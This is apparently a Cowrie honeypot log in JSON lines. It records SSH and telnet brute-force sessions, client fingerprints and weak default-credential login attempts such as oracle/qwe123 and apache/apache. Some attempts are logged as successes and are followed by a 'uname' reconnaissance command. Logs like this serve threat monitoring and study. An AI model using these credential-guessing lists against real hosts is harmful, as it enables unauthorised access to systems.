{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.275701Z","src_ip":"45.156.87.254","session":"fb648a46f8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.367183Z","src_ip":"45.156.87.254","session":"fb648a46f8a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.620360Z","src_ip":"45.156.87.254","session":"fb648a46f8a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.889088Z","src_ip":"45.156.87.254","session":"fb648a46f8a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.892969Z","src_ip":"45.156.87.254","session":"fb648a46f8a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.981920Z","src_ip":"45.156.87.254","session":"fb648a46f8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.990680Z","src_ip":"45.156.87.254","session":"fb648a46f8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.693387985229492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:03.430741Z","src_ip":"104.245.105.2","session":"c989254ee01f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35316,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac89e483903c","protocol":"ssh","message":"New connection: 45.156.87.254:35316 (159.203.135.109:22) [session: ac89e483903c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:07.164824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:07.169677Z","src_ip":"45.156.87.254","session":"ac89e483903c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:07.256713Z","src_ip":"45.156.87.254","session":"ac89e483903c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:07.911021Z","src_ip":"45.156.87.254","session":"ac89e483903c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49816,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ff8ce73f4d","protocol":"telnet","message":"New connection: 104.245.105.2:49816 (10.17.0.5:23) [session: 88ff8ce73f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:08.016650Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:08.158931Z","src_ip":"45.156.87.254","session":"ac89e483903c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:08.162445Z","src_ip":"45.156.87.254","session":"ac89e483903c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:08.255101Z","src_ip":"45.156.87.254","session":"ac89e483903c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:08.260847Z","src_ip":"45.156.87.254","session":"ac89e483903c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34398,"dst_ip":"159.203.135.109","dst_port":22,"session":"0269e84ce80f","protocol":"ssh","message":"New connection: 45.156.87.254:34398 (159.203.135.109:22) [session: 0269e84ce80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:13.363737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:13.367867Z","src_ip":"45.156.87.254","session":"0269e84ce80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:13.452592Z","src_ip":"45.156.87.254","session":"0269e84ce80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:13.702199Z","src_ip":"45.156.87.254","session":"0269e84ce80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:14.791123Z","src_ip":"45.156.87.254","session":"0269e84ce80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53224,"dst_ip":"159.203.135.109","dst_port":22,"session":"de642a16c7dc","protocol":"ssh","message":"New connection: 45.156.87.254:53224 (159.203.135.109:22) [session: de642a16c7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:19.177606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:19.185239Z","src_ip":"45.156.87.254","session":"de642a16c7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:19.270642Z","src_ip":"45.156.87.254","session":"de642a16c7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:19.523158Z","src_ip":"45.156.87.254","session":"de642a16c7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:20.649957Z","src_ip":"45.156.87.254","session":"de642a16c7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53240,"dst_ip":"159.203.135.109","dst_port":22,"session":"d988b3badaef","protocol":"ssh","message":"New connection: 45.156.87.254:53240 (159.203.135.109:22) [session: d988b3badaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:24.255583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:24.261572Z","src_ip":"45.156.87.254","session":"d988b3badaef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:24.344965Z","src_ip":"45.156.87.254","session":"d988b3badaef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:24.597543Z","src_ip":"45.156.87.254","session":"d988b3badaef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":59972,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d00c9c1930","protocol":"ssh","message":"New connection: 185.16.214.226:59972 (10.17.0.5:22) [session: 57d00c9c1930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:25.110290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:25.119852Z","src_ip":"185.16.214.226","session":"57d00c9c1930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:25.252356Z","src_ip":"185.16.214.226","session":"57d00c9c1930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:25.709648Z","src_ip":"45.156.87.254","session":"d988b3badaef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:25.810568Z","src_ip":"185.16.214.226","session":"57d00c9c1930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:26.946721Z","src_ip":"185.16.214.226","session":"57d00c9c1930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60642,"dst_ip":"159.203.135.109","dst_port":22,"session":"601ec07a9931","protocol":"ssh","message":"New connection: 45.156.87.254:60642 (159.203.135.109:22) [session: 601ec07a9931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:28.947079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:28.955595Z","src_ip":"45.156.87.254","session":"601ec07a9931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:29.034676Z","src_ip":"45.156.87.254","session":"601ec07a9931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:29.373926Z","src_ip":"45.156.87.254","session":"601ec07a9931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:30.470031Z","src_ip":"45.156.87.254","session":"601ec07a9931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.46001195907593,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:31.816694Z","src_ip":"20.123.41.163","session":"8806f05c6d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":55222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a496dda7ea24","protocol":"ssh","message":"New connection: 103.143.231.102:55222 (10.17.0.5:22) [session: a496dda7ea24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:31.851577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:31.856804Z","src_ip":"103.143.231.102","session":"a496dda7ea24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-